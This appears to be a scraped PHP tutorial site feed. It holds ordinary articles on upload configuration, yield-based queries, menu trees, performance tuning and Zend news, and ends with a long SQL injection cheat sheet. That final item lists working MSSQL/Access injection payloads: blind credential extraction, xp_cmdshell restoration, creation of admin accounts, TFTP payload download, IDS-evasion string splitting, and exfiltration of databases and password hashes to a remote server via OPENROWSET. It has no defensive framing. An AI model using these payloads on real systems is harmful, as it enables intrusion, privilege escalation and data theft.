PHP100中文网 – 中国第一档PHP资源分享门户 http://www.php100.com PHP100中文网是国内第一家以PHP资源分享为主的专业网站,也提供了PHP中文交流社区。面向PHP学习研究者提供:最新PHP资讯、原创内容、开源代码和PHP视频教程等相关内容 Fri, 02 Aug 2019 02:42:39 +0000 zh-CN hourly 1 https://wordpress.org/?v=5.2.2 PHP上传文件参考配置大文件上传 http://www.php100.com/9/20/19694.html http://www.php100.com/9/20/19694.html#respond Fri, 02 Aug 2019 02:26:59 +0000 http://www.php100.com/9/20/19694.html PHP用超级全局变量数组$_FILES来记录文件上传相关信息的,在php文件上传之前,可通过调节php.ini中相关配置指令,来控制上传相关细节。

1.相关配置

file_uploads=on/off 是否允许通过http方式上传文件max_execution_time=30 允许脚本最大执行时间,超过这个时间就会报错memory_limit=50M 设置脚本可以分配的最大内存量,防止失控脚本占用过多内存,此指令只有在编译时设置了--enable-memory-limit标志的情况下才生效upload_max_filesize=20M 允许上传文件的最大大小,此指令必须小于post_max_sizeupload_tmp_dir 上传文件临时存放目录post_max_size=30M 允许post方式可以接受最大大小

2.$_FILES数组内容如下:

$_FILES[‘myFile’][‘name‘] 客户端上次文件的原始名称;

$_FILES[‘myFile’][‘type‘] 文件的 MIME 类型,例如”image/gif”;

$_FILES[‘myFile’][‘size‘] 已上传文件的大小,单位为字节;

$_FILES[‘myFile’][‘tmp_name‘] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定;

$_FILES[‘myFile’][‘error‘] 文件上传相关的状态码,相关状态码说明如下:

    UPLOAD_ERR_OK 值为 0,没有错误发生,文件上传成功;

    UPLOAD_ERR_INI_SIZE    值为 1,上传的文件超过了 php.ini 中 upload_max_filesize选项限制的值;

    UPLOAD_ERR_FORM_SIZE 值为 2,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值;

    UPLOAD_ERR_PARTIAL 值为 3,文件只有部分被上传;

    UPLOAD_ERR_NO_FILE 值为 4,没有文件被上传;

    UPLOAD_ERR_NO_TMP_DIR 值为 6,找不到临时文件夹;

    UPLOAD_ERR_CANT_WRITE 值为 7,文件写入失败

3.修改PHP上传文件大小限制的方法

1. 一般的文件上传,除非文件很小.就像一个5M的文件,很可能要超过一分钟才能上传完.

但在php中,默认的该页最久执行时间为 30 秒.就是说超过30秒,该脚本就停止执行.

这就导致出现 无法打开网页的情况.

这时我们可以修改 max_execution_time

在php.ini里查找

max_execution_time

默认是30秒.改为

max_execution_time = 0 //0表示没有限制

2. 修改 post_max_size 设定 POST 数据所允许的最大大小。此设定也影响到文件上传。

php默认的post_max_size 为2M.如果 POST 数据尺寸大于 post_max_size $_POST 和 $_FILES superglobals 便会为空.
查找

post_max_size

改为

post_max_size = 150M

3. 很多人都会改了第二步.但上传文件时最大仍然为 8M.

为什么呢.我们还要改一个参数upload_max_filesize 表示所上传的文件的最大大小。

查找

upload_max_filesize

默认为8M改为

upload_max_filesize = 100M

另外要说明的是,post_max_size 大于 upload_max_filesize 为佳

]]>
http://www.php100.com/9/20/19694.html/feed 0
PHP—yield在数据库查询中的内存优化探索 http://www.php100.com/9/20/19693.html http://www.php100.com/9/20/19693.html#respond Fri, 02 Aug 2019 02:26:59 +0000 http://www.php100.com/9/20/19693.html 具体情景
  • laravel ORM中的cursor游标

    • cursor方法允许你使用游标遍历数据库,它只执行一次查询。处理大量的数据时,可以大大减少内存的使用量

    • 通过对比cursorget方法,查找到了其中的一点不同,get方法是直接fetchAll返回所有数据,cursor方法是使用yield构建了一个生成器,逐步返回fetch的数据

  • PDO mysql中的查询

    • 一般查询如下:

      $sql = "select * from `user` limit 100000000";
      $stat = $pdo->query($sql);
      $data = $stat->fetchAll(); //mysql buffered直接全部返回给php

      var_dump($data);
    • 使用yield如下:

      function get(){
      $sql = "select * from `user` limit 100000000";
      $stat = $pdo->query($sql);
      while ($row = $stat->fetch()) { //一个一个地返回给php
      yield $row;
      }
      }

      foreach (get() as $row) {
      var_dump($row);
      }
  • PDO参数

    • 这个PDO参数,侧面说明了,如果这个参数为ture,MySQL驱动程序将使用MySQL API的缓冲版本。

    • 注意,这个参数只对Mysql起作用,如果要编写可移植的sql代码,请使用fetchAll

    • 查看php手册MYSQL_ATTR_USE_BUFFERED_QUERY

在使用了yield的情况下,内存使用量的确减少了,但是在逐渐使用yield中,内存会逐渐增大,这样的情况与以下函数不一致,下面这个函数的内存使用量将会不变

function getNum() {
for($i=0; $i < 100000000; $i++) {
yield $i;
}
}

结论

在使用fetchfetchAll之前,查找数据结果集还存在于mysql的缓冲区内,而每次yieldfetch配合,才取回一条结果存入内存,这就能解释,为什么内存使用量会逐步增大

而上面的这个getNum函数之所以内存使用量不变,是因为,每次只返回一个数字

这里面有点矛盾之处,感觉跟php的垃圾回收有点关系,暂时未深究

]]>
http://www.php100.com/9/20/19693.html/feed 0
php菜单/评论数据递归分级算法的实现方法 http://www.php100.com/9/20/19689.html http://www.php100.com/9/20/19689.html#respond Fri, 02 Aug 2019 02:26:59 +0000 http://www.php100.com/9/20/19689.html

在开发过程中经常会遇到分级场景,如菜单分级、评论、商品类型分级等;在同一张mysql数据表中可能设计单表结构,如同如下数据:

$menuList = [ [ 'id' => 1,'parent_id' => 0, 'name' => '节点1'], [ 'id' => 2,'parent_id' => 1, 'name' => '节点1-1'], [ 'id' => 3,'parent_id' => 0, 'name' => '节点2'], [ 'id' => 4,'parent_id' => 3, 'name' => '节点2-1'], [ 'id' => 5,'parent_id' => 2, 'name' => '节点1-1-1'], [ 'id' => 6,'parent_id' => 1, 'name' => '节点1-2'],];

这时候在处理展示过程就需要将上面的结构转换为更加直观的数据结构, 形如:

$treeList = [ [ children: [  children: [] ] ] [, children: [  children: [] ] ]];

算法代码如下:

<?php
class Menu{ /**  * 递归循环菜单列表, 转化为菜单树  * @param $treeList 菜单树列表  * @param $menuList 菜单列表  * @return bool  */ public function getMenuTree(&$treeList, $menuList){  // 初始化顶级父节点  if (! count($treeList)) {   foreach($menuList as $index => $menu) {    if ($menu['parent_id'] == 0) {     $treeList[] = $menu;     unset($menuList[$index]);    }   }  }    // 递归查找子节点  foreach ($treeList as &$tree) {   foreach ($menuList as $index => $menu) {    if (empty($tree['children'])) {     $tree['children'] = [];    }    if ($menu['parent_id'] == $tree['id']) {     $tree['children'][] = $menu;     unset($menuList[$index]);    }   }   if (! empty($tree['children'])) {    $this->getMenuTree($tree['children'], $menuList);   } else {    // 递归临界点    return false;   }  } } }
$menuList = [ [ 'id' => 1,'parent_id' => 0, 'name' => '节点1'], [ 'id' => 2,'parent_id' => 1'name' => '节点1-1'], [ 'id' => 3,'parent_id' => 0, 'name' => '节点2'], [ 'id' => 4,'parent_id' => 3, 'name' => '节点2-1'], [ 'id' => 5,'parent_id' => 2, 'name' => '节点1-1-1'], [ 'id' => 6,'parent_id' => 1, 'name' => '节点1-2'],];$treeList = [];(new Menu)->getMenuTree($treeList, $menuList);print_r($treeList);
]]>
http://www.php100.com/9/20/19689.html/feed 0
PHP接口性能优化之路 http://www.php100.com/9/20/19695.html http://www.php100.com/9/20/19695.html#respond Fri, 02 Aug 2019 02:26:59 +0000 http://www.php100.com/9/20/19695.html

最近在做PHP接口的性能优化,在排查性能问题和优化的过程中总结了一些心得,分享给大家。

性能问题排查

首先,做性能优化要先进行性问题排查,即排查PHP接口的代码实现中那一块执行比较慢。

排查方法一

笔者使用的ThinkPHP框架中自带了G方法可以很方便的获取某个区间的运行时间和内存占用情况。例如:

G(‘begin’);

// …其他代码段

G(‘end’);

// …也许这里还有其他代码

// 进行统计区间

echo G(‘begin’,’end’).’s’;//输出代码运行时间

echo G(‘begin’,’end’,’m’).’kb’;//输出内存开销统计(单位为kb)

通过对不同代码片段的运行时间统计与接口总运行时间的对比,可以分析出哪块代码的运行存在性能问题,然后再针对性的排查。

排查方法二

使用PHP性能分析工具来辅助定位。目前市面上有很多PHP性能分析工具,老牌的调试工具XDebug,以及Facebook开源的Xhprof。以Xhprof举例,配置成功后,可以记录和生成函数的调用链图,包含每个函数的请求次数、阻塞时间、CPU时间和内存使用情况。

PHP接口性能优化之路

图中标记为红色或黄色的区域就是需要重点关注的地方。

性能问题解决

通常在工具的辅助下,性能问题排查相对来说还是比较简单的。比较有挑战的是如何解决这些性能问题。笔者在解决性能问题的过程中也做了一些解决方式的总结:

一. 代码层面

代码的风格因人而异,实现方式也非常灵活。两个人实现同样的查询列表功能,代码写法都会不同。

以下几点是我个人总结的代码性能避坑指南:

  1. 使用PHP7+版本。PHP7发布的时候号称比PHP5.6快两倍,而最新的PHP 7.3比PHP 5.6快3倍!所以升级PHP版本的收益还是很大的。

  2. 尽量减少循环嵌套写法。循环嵌套增加所带来的运行消耗是指数级的。例如第一层循环执行100次,第二层循环执行100次,第三层循环执行100次,那么最终循环的运行次数就是100100100 = 一百万次。所以要尽量减少循环的嵌套。

  3. 尽量减少数据库操作,例如避免在循环中进行数据库查询。数据库操作是比较消耗性能的动作,如果可以尽量少的做数据库操作,性能会有很大的提升。

  4. 尽量将对象的声明写在循环外部以减少声明次数。

  5. 使用unset()及时释放不使用的变量尤其是大数组,以便释放内存。

  6. 方法尽量静态化。静态方法在程序开始时生成内存,实例方法在程序运行中生成内存,所以静态方法可以直接调用,实例方法要先成生实例,通过实例调用方法,静态速度很快,但是多了会占内存。

  7. 尽量少用正则表达式。正则表达式的开销大,使用起来简单,但是性能低。因为正则表达式需要回溯;正则表达式越长,回溯的开销越大,优化正则表达式是需要技术水平的,正则技术不达标,不要乱用正则。

  8. 使用单引号。在php中,单引号和双引号是有区别的,作为一种习惯字符串我都用单引号,因为它无需编译。

二. 数据库层面

1. sql查询优化

排查问题过程中,会发现很多性能的瓶颈在于复杂sql的查询太慢。我们可以使用‘EXPLAIN ’关键字来分析复杂sql的运行慢的原因。将‘EXPLAIN’加在sql语句开始的位置,就能分析出这条SQL语句的执行计划,查看该SQL语句有没有使用索引,有没有做全表扫描等等。例如:

EXPLAIN select * from person where dept_id =(select did from dept where dname =’python’);

PHP接口性能优化之路

概要描述:

  • id: 查询序列号,代表执行的先后顺序。

  • select_type:表示查询的类型。例子中的primary和subquery分别代表最外层查询和子查询。

  • table:显示这一步所访问数据库中表名称。

  • type:表示查询计划的连接类型。例子中的ALL代表MySQL将遍历全表以找到匹配的行,没有使用任何索引。这时就说明需要加索引进行优化了。性能由好到差:null > system/const > eq_ref > ref > ref_or_null >index_merge > range > index > all;如果有类型是 ALL 时,表示预计会进行全表扫描(full table scan)。通常全表扫描的代价是比较大的,建议创建适当的索引,通过索引检索避免全表扫描。

  • possible_keys:指出MySQL能使用哪个索引在表中找到记录,查询涉及到的字段上若存在索引,则该索引将被列出。

  • key:显示MySQL实际决定使用的键(索引),必然包含在possible_keys中。

  • key_len:表示索引中使用的字节数,可通过该列计算查询中使用的索引的长度。不损失精确性的情况下,长度越短越好。

  • ref:列与索引的比较,表示上述表的连接匹配条件,即哪些列或常量被用于查找索引列上的值。

  • rows:估算出结果集行数,表示MySQL根据表统计信息及索引选用情况,估算的找到所需的记录所需要读取的行数。

  • Extra:该列包含MySQL解决查询的详细信息。如果有出现 Using temporary 或者 Using filesort 则要多加关注:

  • Using temporary,表示需要创建临时表以满足需求,通常是因为GROUP BY的列没有索引,或者GROUP BY和ORDER BY的列不一样,也需要创建临时表,建议添加适当的索引。
  • Using filesort,表示无法利用索引完成排序,也有可能是因为多表连接时,排序字段不是驱动表中的字段,因此也没办法利用索引完成排序,建议添加适当的索引。
  • Using where,通常是因为全表扫描或全索引扫描时(type 列显示为 ALL 或 index),又加上了WHERE条件,建议添加适当的索引。

2. 分库分表

基本思想就要把一个数据库切分成多个部分放到不同的数据库(server)上,从而缓解单一数据库的性能问题。

要做分库分表之前,首先要思考一个问题:MySQL 单表数据达到多少时才需要考虑分库分表?网上流传的文章有的说几千万行,有的说几百万行,都没有一个准确的数字。阿里巴巴《Java 开发手册》提出单表行数超过 500 万行或者单表容量超过 2GB,才推荐进行分库分表。

PHP接口性能优化之路

由于笔者所要优化的数据库单表还达不到这个量级,所以没有进行分库分表的实际操作。但是笔者又深入探索了一个问题:这个500W是怎么推算出来的?

事实上,这个数值和实际记录的条数无关,而与 MySQL 的配置以及机器的硬件有关。因为,MySQL 为了提高性能,会将表的索引装载到内存中。InnoDB buffer size 足够的情况下,其能完成全加载进内存,查询不会有问题。但是,当单表数据库到达某个量级的上限时,导致内存无法存储其索引,使得之后的 SQL 查询会产生磁盘 IO,从而导致性能下降。当然,这个还有具体的表结构的设计有关,最终导致的问题都是内存限制。所以,如果增加硬件配置,可能会带来立竿见影的性能提升。

三. 硬件配置

这种方式不用多介绍了。线上压力顶不住的时候,通常都会立即加机器加配置来抗。久而久之,很多开发人员对加机器加配置产生了依赖。虽然增加硬件配置是最简单粗暴的解决方案,但是作为有追求的技术人员,还是要多从代码层面和数据库层面做深度优化。所以这条解决方案笔者放在最后推荐大家使用。

]]>
http://www.php100.com/9/20/19695.html/feed 0
PHP语言创建者宣布从Zend离职 http://www.php100.com/9/20/19685.html http://www.php100.com/9/20/19685.html#respond Fri, 02 Aug 2019 02:26:58 +0000 http://www.php100.com/9/20/19685.html 昨日消息,PHP兼Zend公司联合创始人Zeev Suraski在推特宣布自己在Zend公司工作20年后,目前已离职。

PHP语言创建者宣布从Zend离职

Zeev Suraski在推特上的自我介绍是PHP联席架构师(Co-Architect of PHP)、Zend联合创始人(Co-founder of Zend)。事实上,Zeev Suraski是一名以色列程序员,他和另一名以色列程序员 Andi Gutmans以及其他程序员一起发展了由 Rasmus Lerdorf创建的 PHP 语言。

PHP语言创建者宣布从Zend离职

1997年,Andi Gutmans和Zeev Suraski重写了Rasmus Lerdorf的PHP-FI,这份作品被作为PHP3发布。1998年,他们全部重新设计了PHP的语法解析器,并将它命名为 Zend引擎。PHP4是第一个基于Zend引擎的产品,这一产品也获得了巨大的成功。1999年,两人共同创立了Zend公司,公司名字正是Zeev和Andi两人名字的结合。

PHP语言创建者宣布从Zend离职

由于在技术方面的权威性,Zend公司及其创建者在PHP以及开源社区中持续处于领导的核心地位,对于PHP的迅猛发展起到了强力推动作用。Zend公司是一家PHP公司,一家企业和个人都可以在此寻求到专业技术解决方案的领先公司,它为推动PHP进入企业级应用提供了巨大的支持。
另外,Zend公司也开发了多个知名的产品,包括IDE、PHP引擎和框架等。例如Zend Studio(PHP IDE)、Zend Engine(PHP解析引擎)、Zend framework(PHP开发框架)、Zend Guard和Zend Optimizer等。
Zeev Suraski暂未透露离职的原因及后续的下一步计划。而对于PHP语言来说,虽然两位核心人物均已从Zend公司离职,但PHP作为一个有强大社区作为支撑的项目,相信并不会有太大的影响。
]]>
http://www.php100.com/9/20/19685.html/feed 0
ASP+PHP标准sql注入语句 http://www.php100.com/9/20/19489.html http://www.php100.com/9/20/19489.html#respond Thu, 01 Aug 2019 02:07:14 +0000 http://www.php100.com/9/20/19489.html 1.判断有无注入点
‘  ;   and 1=1    and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0) 
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=’a’) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=’ab’)—猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51)  —

 
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
‘group by users.id having 1=1–
‘group by users.id, users.username, users.password, users.privs having 1=1–
‘; insert into users values( 666, ‘attacker’, ‘foobar’, 0xffff )–

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’ WHERE COLUMN_NAME NOT IN (‘login_id’)-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=’Rahul’–


看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’))–

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and ‘sa’=(SELECT System_user)–
and user_name()=’dbo’–
and 0<>(select user_name()–

看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name = ‘xp_cmdshell’)

xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’–
;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,’c:inetpubwwwrootxplog70.dll’–

反向PING自己实验
;use master;declare @s int;exec sp_oacreate “wscript.shell”,@s out;exec sp_oamethod @s,”run”,

加帐号
;DECLARE @shell INT EXEC SP_OACREATE ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’ru

创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ c

访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ csc

 
爆库  特殊技巧::%5c=” 或者把/和 修改%5提交 
and 0<>(select top 1 paths from newtable)–
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
依次提交 dbid = 7,8,9…. 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in (‘Admin’)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’
and uid>(str(id))) 到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(‘id’,…)) 来出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名

依次可以得到密码。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in(‘Address’))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’ and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’, @key=’SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots’, @value_name=’/’, values=@test OUTPUT insert into paths(path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd

存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell ‘dir’
;exec master.dbo.sp_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_cmdshell ‘net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators jiaoniang$ /add’;–
exec master..xp_servicecontrol ‘start’, ‘schedule’ 启动服务
exec master..xp_servicecontrol ‘start’, ‘server’
; DECLARE @shell INT EXEC SP_OACREATE ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add’
;DECLARE @shell INT EXEC SP_OACREATE ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add’
‘; exec master..xp_cmdshell ‘tftp -i youip get file.exe’– 利用TFTP上传文件

;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:’
;declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ‘dir c:’
;declare @a;set @a=db_name();backup database @a to disk=’你的IP你的共享目录bak.dat’


如果被限制则可以。
select * from openrowset(‘sqloledb’,’server’;’sa’;”,’select ”OK!” exec master.dbo.sp_addlogin hax’)
查询构造:
SELECT * FROM news WHERE id=… AND topic=… AND …..
admin’and 1=(select count(*) from [user] where username=’victim’ and right(left(userpass,01),1)=’1′) and userpass <>’
select 123;–
;use master;–
:a’ or name like ‘fff%’;– 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and status>0) where name=’ffff’;–
;update [users] set email=(select top 1 id from sysobjects where xtype=’u’ and name=’ad’) where name=’ffff’;–
‘;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and id>581577110) where name=’ffff’;–
‘;update [users] set email=(select top 1 count(id) from password) where name=’ffff’;–
‘;update [users] set email=(select top 1 pwd from password where id=2) where name=’ffff’;–
‘;update [users] set email=(select top 1 name from password where id=2) where name=’ffff’;–
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
通过查看ffff的用户资料可得第一个用表叫ad 
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, ‘admin”–‘, ‘password’, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库

枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);–
这是将第一个表名更新到aaa的字段处。 
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。 
;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);– 
然后id=1552 and exists(select * from aaa where aaa>5) 
读出第二个表,一个个的读出,直到没有为止。 
读字段是这样: 
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),1));– 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),2));– 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>’你得到的表名’ 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(‘table1′,’table2’,…) 
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 
update 表名 set 字段=(select top 1 col_name(object_id(‘要查询的数据表名’),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:’
;declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ‘dir c:’

1、 开启远程数据库 
基本语法 
select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=123’, ‘select * from table1’ ) 
参数: (1) OLEDB Provider name 
2、 其中连接字符串参数可以是任何端口用来连接,比如 
select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’, ‘select * from table’
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法: 
insert into OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=123’, ‘select * from table1’) select * from table2 
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from table1′) select * from table2 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from _sysdatabases’) 
select * from master.dbo.sysdatabases 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from _sysobjects’) 
select * from user_database.dbo.sysobjects 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from _syscolumns’) 
select * from user_database.dbo.syscolumns 
复制数据库: 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from table1′) select * from database..table1 
insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from table2′) select * from database..table2
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下: 
insert into OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,’select * from _sysxlogins’) select * from database.dbo.sysxlogins                                                        
得到hash之后,就可以进行暴力破解。
遍历目录的方法:先创建一个临时表:temp
 
‘;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));– 
‘;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器 
‘;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;– 获得子目录列表 
‘;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– 获得所有子目录的目录树结构,并寸入temp表中 
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:webindex.asp’;– 查看某个文件的内容 
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:’;– 
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c: *.asp /s/a’;– 
‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc’ 
‘;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (xp_dirtree适用权限PUBLIC)
写入表: 

语句1:and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));– 

语句2:and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));– 
语句3:and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));– 
语句4:and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));– 
语句5:and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));– 
语句6:and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));– 
语句7:and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));– 
语句8:and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));– 
语句9:and 1=(SELECT IS_MEMBER(‘db_owner’));-

把路径写到表中去: 
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_dirtree ‘c:’–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(‘@Inetpub’))–
;create table dirs1(paths varchar(100), id int)– 
;insert dirs exec master.dbo.xp_dirtree ‘e:web’– 
and 0<>(select top 1 paths from dirs1)–
把数据库备份到网页目录:下载 
;declare @a sysname; set @a=db_name();backup database @a to disk=’e:webdown.bak’;–
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(‘USER_LOGIN’),1) from sysobjects) 参看相关表。 
and 1=(select user_id from USER_LOGIN) 
and 0=(select user from USER_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ 
‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’–
declare @o int, @f int, @t int, @ret int 
